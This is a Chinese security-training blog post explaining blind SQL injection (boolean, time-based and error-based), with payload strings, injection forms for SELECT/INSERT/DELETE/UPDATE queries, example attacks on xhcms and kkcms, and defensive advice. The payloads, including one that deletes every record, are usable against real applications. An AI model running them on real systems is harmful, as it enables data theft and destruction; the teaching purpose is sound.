文章总结: 本文系统解析了SQL注入中的盲注技术,涵盖布尔盲注、时间盲注和报错盲注三种类型,详细阐述了其原理、适用场景、常用函数及利用过程。文章结合增删改查功能点分析注入构造方式,并提供了实际案例与防御建议,旨在帮助读者深入掌握无回显条件下的SQL注入攻击与防护方法。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,安全培训,实战经验
第56天-Web安全:SQL注入之盲注深度解析(布尔、延时、报错)
原创
萧瑶 萧瑶
AlphaNet
2026年2月27日 08:47 江苏
在Web安全领域,SQL注入一直是最常见且危害最大的漏洞之一。而盲注,作为SQL注入的一种特殊形式,发生在页面无回显、无报错信息的情况下,攻击者只能通过页面反应的“是”与“否”或响应时间差异来推断数据。本文将带你全面了解盲注的原理、分类、利用技巧及实际案例,帮助你深入掌握这一关键技术。
📚 基础知识回顾
在深入盲注之前,我们需要对数据库的基础知识有清晰的认识:
· 核心概念:数据库名、表名、列名、数据记录。
· 系统数据库:如 MySQL 的 information_schema,存储了数据库的元数据,是注入获取表名、列名的关键。
· 数据库用户及权限:不同用户拥有的权限不同,直接影响注入能执行的操作(如读取文件、执行命令)。
· 敏感函数:如 version()、database()、user()、load_file()、into outfile 等。
· 默认端口:MySQL(3306)、SQL Server(1433)、Oracle(1521)等。
· SQL查询方法:SELECT(查)、INSERT(增)、DELETE(删)、UPDATE(改)。
⚙️ SQL注入产生原理
代码中执行的SQL语句存在可控变量,且未经过严格过滤或参数化处理,导致攻击者可以拼接恶意SQL语句,改变原SQL语义。
🧩 影响SQL注入的主要因素
-
数据库类型(不同数据库语法、函数、权限有差异)
-
数据操作方法(增删改查构造的SQL语句结构不同)
-
参数数据类型(数字型、字符型、搜索型等,影响闭合方式)
-
参数数据格式(是否经过加密、编码、过滤)
-
提交数据方式(GET、POST、Cookie、JSON等)
-
有无数据处理(回显、报错、逻辑判断等)
🛠️ 常见SQL注入的利用过程
-
判断数据库类型
-
判断参数类型及格式(数字/字符,闭合方式)
-
判断数据格式及提交方式
-
判断数据回显及防护机制(有无报错、有无回显)
-
获取数据库名、表名、列名
-
获取数据或尝试进一步利用(写shell、提权等)
🔍 黑盒/白盒如何发现SQL注入
· 黑盒测试:对所有可能传递参数的入口(URL参数、表单、Cookie、Header等)进行FUZZ测试,结合功能点(搜索、登录、排序等)脑补可能的SQL语句。
· 白盒测试:代码审计,追踪用户输入进入SQL语句的整个过程。具体可参考后期代码审计课程。
🎯 盲注详解
什么是盲注?
当应用程序存在SQL注入漏洞,但注入结果无法直接回显到页面(无报错信息、无数据输出)时,攻击者只能通过页面是否正常、响应时间是否延迟等“间接”方式来判断注入是否成功,这个过程称为盲注。
盲注的三种主要类型
1️⃣ 基于布尔的盲注(Boolean Blind)
利用页面在条件成立与不成立时的不同反应(如正常页面与错误页面、内容差异)来逐字符猜测数据。
常用函数/语句:
· length(database())=N 判断数据库名长度
· left(database(),1)=’a’ 截取左起第一位字符
· substr(database(),N,1)=’a’ 截取第N位字符
· ascii(substr(database(),N,1))=97 使用ASCII码比较
· like ‘ro%’ 模糊匹配
· regexp ‘^[a-z]’ 正则匹配
示例:
and length(database())=7 -- 数据库名长度为7时页面正常
and left(database(),1)='p' -- 第一位是p时页面正常
and ord(left(database(),1))=112 -- 第一位ASCII为112时页面正常
2️⃣ 基于时间的盲注(Time Blind)
当页面无论条件真假都无差异时,利用if和sleep等函数,通过响应时间长短来判断条件是否成立。
常用函数/语句:
· sleep(5) 延时5秒
· if(condition, sleep(5), 0) 条件成立则延时
示例:
and if(1=1, sleep(5), 0) -- 条件为真,延时5秒
and if((select database())='test', sleep(5), 0) -- 数据库名为test时延时
3️⃣ 基于报错的盲注(Error Blind)
当应用程序开启了错误显示,但正常的查询结果不输出时,可以利用数据库的报错机制,将查询结果通过错误信息带出。
常用函数/语句(以MySQL为例):
· updatexml(1, concat(0x7e, (查询语句), 0x7e), 1)
· extractvalue(1, concat(0x5c, (查询语句)))
· floor(rand(0)*2) 配合group by报错
示例:
and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)
and extractvalue(1, concat(0x5c, (select table\_name from information\_schema.tables limit 1)))
三种盲注的适用场景对比
类型 适用条件 优点 缺点
布尔盲注 页面有真/假两种状态 无需报错,无需延时 需要逐字符猜测,速度慢
时间盲注 页面无任何差异,但可执行延时 适用性最广 速度极慢,受网络影响大
报错盲注 页面会显示数据库报错信息 可以直接获取数据,速度快 依赖报错信息显示
📝 增删改查功能与注入
在不同功能的SQL语句中,注入点的构造方式可能不同,需要灵活调整闭合和注释。
1️⃣ 查询(SELECT)
SELECT \* FROM news WHERE id=$id
· 注入方式:$id 后拼接 union select、and 1=1 等。
· 若存在回显,优先使用联合查询;若无回显,考虑盲注。
2️⃣ 增加(INSERT)
INSERT INTO news (title, content) VALUES ('$title', '$content')
· 注入点可能在字段值中,通过闭合单引号并插入额外查询。
· 示例:x’ or updatexml(1,concat(0x7e,(version())),0) or ‘ 引发报错注入。
3️⃣ 删除(DELETE)
DELETE FROM news WHERE id=$id
· 拼接 or 1=1 可删除所有记录,盲注时常用 if 判断。
· 示例:or if(1=1,sleep(5),0) 延时注入。
4️⃣ 修改(UPDATE)
UPDATE news SET title='$title' WHERE id=$id
· 注入点可在 SET 部分或 WHERE 部分,类似 INSERT 和 SELECT 的结合。
🧪 演示案例
假设我们遇到一个搜索功能,后端SQL类似:
SELECT \* FROM news WHERE title like '%$keyword%'
场景1:SELECT无回显,但INSERT有报错
· 注入语句(用于INSERT点):x’ or updatexml(1,concat(0x7e,(version())),0) or ‘
· 利用报错获取数据库版本。
场景2:SELECT有回显,但INSERT无输出
· 注入语句(用于SELECT点):x’ or length(database())=15#
· 通过页面是否正常判断数据库名长度。
场景3:完全无回显、无报错
· 注入语句:x’ or if(1=1,sleep(5),0)#
· 或更精确地:x’ or if((select database())=’news_management’,sleep(1),0)#
· 根据响应时间判断数据库名。
💼 实际案例
案例1:xhcms INSERT报错注入
在xhcms的注册或评论功能中,可能存在INSERT语句。构造:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
当插入数据时,数据库执行该语句并报错,错误信息中携带版本号。
案例2:kkcms DELETE延时注入
在删除文章的功能点,URL可能为 del.php?id=1,后端执行:
DELETE FROM news WHERE id=1
可构造:
or if(ord(left(database(),1))=107,sleep(1),0)
若数据库名第一位ASCII为107(’k’),则延时1秒,以此逐位猜测数据库名。
案例3:JSON注入
现代应用常使用JSON格式传递数据,如 {“id”:1},后端可能解析后直接拼接到SQL中,此时注入点可能在JSON值中。例如 {“id”:”1′ or sleep(5)#”}。需要根据具体框架解析方式构造。
📌 常用函数参考表
函数 作用 盲注类型
length(str) 返回字符串长度 布尔
left(str, n) 返回字符串左起n个字符 布尔
substr(str, pos, len) 截取子串 布尔
mid(str, pos, len) 同substr 布尔
ord(char) / ascii(char) 返回字符ASCII码 布尔
like 模糊匹配 布尔
regexp 正则匹配 布尔
if(expr, true, false) 条件判断 延时
sleep(n) 延时n秒 延时
updatexml() XPath报错 报错
extractvalue() XPath报错 报错
floor(rand(0)*2) 主键重复报错 报错
🔐 防御建议
· 使用预编译语句(参数化查询)。
· 对输入进行严格的类型校验和过滤。
· 关闭错误回显,使用自定义错误页面。
· 最小化数据库权限,避免使用高权限账号连接应用。
📖 参考链接
· SQL注入之盲注基础 – 简书[https://www.jianshu.com/p/bc35f8dd4f7c]
· SQL注入盲注总结 – 博客园[https://www.cnblogs.com/impulse-/p/14227189.html]
盲注虽然繁琐,但它是渗透测试中不可或缺的技能。理解其原理,熟练运用各类函数,并结合实际场景灵活构造语句,才能在无回显的情况下依然拿下数据。希望本文能帮你建立起清晰的盲注知识体系!
关注我们,获取更多Web安全干货!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第56天-Web安全:SQL注入之盲注深度解析(布尔、延时、报错)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论